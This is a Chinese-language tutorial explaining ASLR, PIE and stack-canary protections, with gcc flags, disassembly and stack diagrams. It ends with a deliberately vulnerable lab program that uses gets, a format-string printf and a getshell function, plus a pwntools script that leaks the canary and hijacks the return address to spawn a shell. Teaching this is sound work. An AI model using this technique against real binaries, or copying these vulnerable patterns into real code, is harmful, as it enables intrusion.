ASLR
ASLR是地址空间布局随机化,是linux内核的特性
linux系统中ASLR分三个等级
- 0:没有随机化。即关闭ASLR。
- 1:保留的随机化。共享库、栈、mmap()以及VDSO将被随机化。
- 2:完全的随机化。在1的基础上,通过brk()分配的内存空间也将被随机化。
可以通过内核参数来控制,查看当前ASLR开启情况用如下命令
cat /proc/sys/kernel/randomize_va_space
如果要进行修改,可以通过echo命令输入到这个文件来修改
PIE
PIE是位置无关,是在编译期间通过编译选项进行设置的。
如果编译器在生成可执行程序的过程中使用了PIE,那么当可执行程序被加载到内存中时其加载地址存在不可预知性。
调试一个程序时可以通过gcc -no-pie来关闭PIE保护
相比与ALSR是为了保护程序,PIE更多的是为了让程序做到执行时与位置无关,也就是更方便的重定位。
canary栈保护
可以在一定程度上防止栈溢出攻击,在一个函数开始部分将一个"随机数"放到函数所在栈帧中,在函数返回之前先检查这个值是否发生改变,如果改变证明发生了栈溢出,从而达到栈保护的目的。
这个功能可以通过编译过程中给gcc的选项来设置
-fno-stack-protector:禁用栈保护-fstack-protector: 启用栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码-fstack-protector-all:启用栈保护,为所有函数插入栈保护代码。
canary原理
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void getshell(){
system("/bin/sh");
}
void vulnerable(){
char buf[10];
gets(buf);
return;
}
int main(){
vulnerable();
return 0;
}
在/proc/sys/kernel/randomize_va_space为0(即关闭ASLR)的情况下进行实验,并且编译时都关闭PIE保护。
gcc -m32 -fno-stack-protector -no-pie a.c -o 32noCanarygcc -m32 -fstack-protector-all -no-pie a.c -o 32Canarygcc -fno-stack-protector -no-pie a.c -o 64noCanarygcc -fstack-protector-all -no-pie a.c -o 64Canary
32Canary相比与32noCanary中的vulnerable函数开头多的代码
mov edx, large gs:14h
mov [ebp+var_C], edx
xor edx, edx
32Canary相比与32noCanary中的vulnerable函数结尾多的代码
mov eax, [ebp+var_C]
sub eax, large gs:14h
jz short loc_804921E
call __stack_chk_fail_local
loc_804921E:
mov ebx, [ebp+var_4]
leave
retn
x86栈结构大致如下
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
| old ebp |
ebp => +-----------------+
| ebx |
ebp-4 => +-----------------+
| unknown |
ebp-8 => +-----------------+
| canary value |
ebp-12 => +-----------------+
| 局部变量 |
Low | |
Address
下面是64Canary相比64noCanary中vulnerable函数中开头和结尾多的代码
mov rax, fs:28h
mov [rbp+var_8], rax
xor eax, eax
mov rax, [rbp+var_8]
sub rax, fs:28h
jz short locret_4011F8
call ___stack_chk_fail
locret_4011F8:
leave
retn
x64栈结构如下
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
| old ebp |
rbp => +-----------------+
| canary value |
rbp-8 => +-----------------+
| 局部变量 |
Low | |
Address
canary简单绕过示例
cananry的数据形式为
0x.....00,因为是小端存储,所以在内存最开始的位置存储的是\x00。Canary的值最后两位是0,也就是说是一个字符的大小,如果刚好把这个00覆盖掉,那么,就能打印出前几位Canary的值
源码
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
int vulnerable() {
char buf[100];
read(0, buf, 0x200);
printf(buf);
read(0, buf, 0x200);
printf(buf);
return 0;
}
int main(void) {
init();
vulnerable();
return 0;
}
编译生成32位程序
这个题和ASLR没啥关系,开着就可以。关闭PIE保护,开启Canary。
gcc -m32 -fstack-protector-all -no-pie lab.c -o lab
payload代码
from pwn import *
context.log_level = 'debug'
io = process('./lab')
get_shell = ELF("./lab").sym["getshell"]
payload1 = b"A"*100 + b"B"
io.send(payload1)
io.recvuntil(b"A"*100)
Canary = u32(io.recv(4))-0x42 # hex(ord('B'))=0x42
log.info("Canary:"+hex(Canary))
payload2 = b"A"*100 + p32(Canary) + b"A"*12 + p32(get_shell)
io.send(payload2)
io.interactive()